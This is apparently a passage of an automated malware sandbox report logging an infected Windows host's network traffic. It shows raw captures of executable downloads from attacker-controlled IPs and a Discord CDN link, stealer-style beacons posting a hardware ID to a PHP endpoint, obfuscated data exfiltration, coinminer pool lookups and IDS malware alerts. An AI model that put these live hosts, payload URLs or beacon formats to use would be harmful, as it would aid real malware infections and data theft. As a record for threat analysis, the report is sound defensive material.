00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 21 Aug 2024 06:32:16 GMTContent-Type: application/octet-streamContent-Length: 999936Last-Modified: Mon, 19 Aug 2024 16:26:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c3721b-f4200"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 40 46 c3 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 38 0f 00 00 08 00 00 00 00 00 00 de 56 0f 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 0f 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 56 0f 00 4f 00 00 00 00 60 0f 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0f 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 36 0f 00 00 20 00 00 00 38 0f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 60 0f 00 00 06 00 00 00 3a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 0f 00 00 02 00 00 00 40 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 56 0f 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 7b 0e 00 98 da 00 00 03 00 00 00 03 00 00 06 1c 0f 01 00 d8 6c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 00 00 06 00 00 00 00 00 00 00 28 d3 01 00 06 2a 06 2a 1a 28 05 00 00 06 2a 00 13 30 06 00 a4 00 00 00 01 00 00 11 73 0a 00 00 06 0a 06 7c 03 00 00 04 fe 15 03 00 00 02 28 04 00 00 06 2c 2f 06 7c 03 00 00 04 20 58 91 00 00 28 c7 01 00 06 7d 01 00 00 04 06 7c 03 00 00 04 28 06 00 00 06 28 07 00 00 06 6f 01 00 00 0a 7d 02 00 00 04 06 7c 03 00 00 04 7b 01 00 00 04 6f 02 00 00 0a 2c 49 06 7c 03 00 00 04 7b 02 00 00 04 6f 03 00 00 0a 06 fe 06 0b 00 00 06 73 04 00 00 0a 28 01 00 00 2b 0b 07 2c 24 07 28 02 00 00 2b 16 6f 07 00 00 0a 20 30 93 00 00 28 c7 01 00 06 20 00 01 00 00 14 14 14 6f 08 00 00 0a 26 2a 1a 28 09 00 00 0a 2a 00 1b 30 04 00 97 00 00 00 02 00 00 11 17 8d 12 00 00 01 0a 38 80 00 00 00 00 28 08 00 00 06 0a 73 0a 00 00 0a 0b 07 20 16 93 00 00 28 c7 01 00 06 28 0b 00 00 0a 20 f8 92 00 00 28 c7 01 00 06 28 0b 00 00 0a 6f 0c 00 00 0a 0c 73 0d 00 00 0a 0d 09 08 17 73 0e 00 00 0a 13 04 1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /2fa883eebd632382.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 193.176.190.41Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 31 35 37 41 42 37 35 35 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="hwid"3C157AB7558C1730677652------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build"default------AECFCAAECBGDGDHIEHJE--
Source: global traffic	HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 194.58.114.223 194.58.114.223
Source: Joe Sandbox View	IP Address: 194.58.114.223 194.58.114.223
Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233
Source: Joe Sandbox View	IP Address: 162.159.130.233 162.159.130.233

Source: Joe Sandbox View

ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ipinfo.io

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49722 -> 162.241.203.25:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49720 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49719 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49721 -> 194.58.114.223:80
Source: Network traffic	Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.6:59992 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49786 -> 190.13.174.94:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49729 -> 162.241.63.30:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49731 -> 162.241.63.30:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49782 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49783 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49784 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49781 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
Source: global traffic	HTTP traffic detected: HEAD /attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kleiseIche.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: siscorp.mxCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jaliwYuqe.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: siscorp.mxCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=ThydGiLNvD4JlFqYkDhmO3IHqMaxJzCC1fCsNAiwk10-1724221934-1.0.1.1-fvrE6Pm4ZoBzNkPuw_MoIAm8C4VY_YgpVwUDOBN2SvJ.qDQ95YjbGlD63RgZwmY7reqsLMGnBkNiT7CTmzBoCg; _cfuvid=811ittjpd4nqG2ymyjpMHL1NUpPFYuTQXahY9Yrh2sY-1724221934314-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /1cN8u7 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: yip.su
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenntysjuxmz.shop
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 147.45.47.57
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 193.233.232.86
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 133Host: 193.233.232.86
Source: global traffic	HTTP traffic detected: HEAD /prog/66c4c71a033c6_otr.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /StyleControls%20VCL.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: mcrogers.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66c2d861a5b4d_google.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66c3721bc46fe_Ernrnmkio.exe#14 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /StyleControls%20VCL.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: mcrogers.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c4c71a033c6_otr.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c2d861a5b4d_google.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c3721bc46fe_Ernrnmkio.exe#14 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 477Host: 193.233.232.86
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?SidNhALqeWMHeUVSaoUjPLUFvKDZLJRHn HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api2/google_api_ifi HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36Host: api5.check-data.xyzContent-Length: 722Connection: Keep-AliveCache-Control: no-cacheData Raw: 6b 3d 62 46 31 6e 59 34 50 45 35 42 41 6c 36 55 59 65 33 50 63 77 31 52 41 26 72 3d 51 4c 48 49 36 4e 4c 48 49 33 4d 4c 48 49 36 51 4c 48 49 33 50 4c 48 49 39 26 67 3d 51 49 48 49 37 4d 4c 48 49 35 52 4c 48 49 32 54 4c 48 49 39 53 4c 48 49 37 4e 4c 48 49 32 55 4c 48 49 39 4f 4c 48 49 32 59 4c 48 49 35 51 4c 48 49 35 50 49 48 49 31 53 49 48 49 37 4f 4c 48 49 35 59 4c 48 49 38 52 4c 48 49 36 4d 4c 48 49 33 52 4c 48 49 37 4f 49 48 49 31 59 4c 48 49 39 4e 4c 48 49 35 4f 4c 48 49 32 4f 49 48 49 39 52 4c 48 49 33 59 4c 48 49 36 55 4c 48 49 34 55 4c 48 49 39 55 4c 48 49 31 4e 49 48 49 36 55 4c 48 49 35 52 49 48 49 38 52 4c 48 49 33 4d 4c 48 49 35 53 49 48 49 33 55 4c 48 49 34 4e 49 48 49 35 50 49 48 49 35 26 76 3d 54 4c 48 49 36 58 4c 48 49 35 56 4c 48 49 34 58 4c 48 49 30 56 4c 48 49 36 58 4c 48 49 33 53 4c 48 49 38 54 4c 48 49 36 50 4c 48 49 37 50 4c 48 49 39 26 63 3d 41 4a 48 49 34 46 4a 48 49 32 4f 48 48 49 36 43 4a 48 49 32 48 4a 48 49 35 46 4a 48 49 33 5a 49 48 49 31 48 4a 48 49 35 4f 48 48 49 35 55 4c 48 49 37 26 75 3d 55 4c 48 49 32 4e 4c 48 49 36 4f 4c 48 49 36 53 49 48 49 37 51 49 48 49 33 4e 4c 48 49 35 50 4c 48 49 32 50 49 48 49 39 55 4c 48 49 37 4f 4c 48 49 34 54 4c 48 49 33 53 4c 48 49 35 52 4c 48 49 32 4d 4c 48 49 39 4f 49 48 49 38 52 4c 48 49 39 52 49 48 49 37 50 49 48 49 31 51 49 48 49 38 53 4c 48 49 31 51 49 48 49 31 52 49 48 49 35 53 49 48 49 30 51 4c 48 49 31 53 4c 48 49 34 52 4c 48 49 39 52 4c 48 49 35 52 49 48 49 34 4e 49 48 49 31 4f 49 48 49 33 53 49 48 49 38 53 4c 48 49 36 26 72 67 3d 4e 49 48 49 33 4e 4c 48 49 30 50 49 48 49 38 4f 49 48 49 33 55 4c 48 49 36 4d 4c 48 49 33 4e 49 48 49 34 53 4c 48 49 37 59 4c 48 49 30 50 4c 48 49 31 52 4c 48 49 36 56 4c 48 49 32 4f 4c 48 49 31 59 4c 48 49 36 4f 4c 48 49 36 52 4c 48 49 37 4e 49 48 49 36 56 4c 48 49 30 59 4c 48 49 38 53 4c 48 49 30 50 4c 48 49 32 50 49 48 49 36 52 49 48 49 37 59 4c 48 49 30 53 49 48 49 33 4f 4c 48 49 30 4d 4c 48 49 35 51 4c 48 49 32 54 4c 48 49 32 4f 49 48 49 36 54 4c 48 49 32 50 49 48 49 36 50 49 48 49 38 51 4c 48 49 39 51 4c 48 49 31 53 49 48 49 34 26 77 3d 51 4c 48 49 38 54 4c 48 49 38 51 4c 48 49 37 52 4c 48 49 32 56 4c 48 49 36 53 4c 48 49 33 Data Ascii: k=bF1nY4PE5BAl6UYe3Pcw1RA&r=QLHI6NLHI3MLHI6QLHI3PLHI9&g=QIHI7MLHI5RLHI2TLHI9SLHI7NLHI2ULHI9OLHI2YLHI5QLHI5PIHI1SIHI7OLHI5YLHI8RLHI6MLHI3RLHI7OIHI1YLHI9NLHI5OLHI2OIHI9RLHI3YLHI6ULHI4ULHI9ULHI1NIHI6ULHI5RIHI8RLHI3MLHI5SIHI3ULHI4NIHI5PIHI5&v=TLHI6XLHI5VLHI4XLHI0VLHI6XLHI3SLHI8TLHI6PLHI7PLHI9&c=AJHI4FJHI2OHHI6CJHI2HJHI5FJHI3ZIHI1HJHI5OHHI5ULHI7&u=ULHI2NLHI6OLHI6SIHI7QIHI3NLHI5PLHI2PIHI9ULHI7OLHI4TLHI3SLHI5RLHI2MLHI9OIHI8RLHI9RIHI7PIHI1QIHI8SLHI1QIHI1RIHI5SIHI0QLHI1SLHI4RLHI9RLHI5RIHI4NIHI1OIHI3SIHI8SLHI6&rg=NIHI3NL
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?wPWlRIeCdrmKoDDvpnFWyPWSQYRIBYyeG HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49735 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.57
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.57
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.57
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.57
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.232.86
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 194.58.114.223
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 11_2_004062D0 InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

11_2_004062D0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
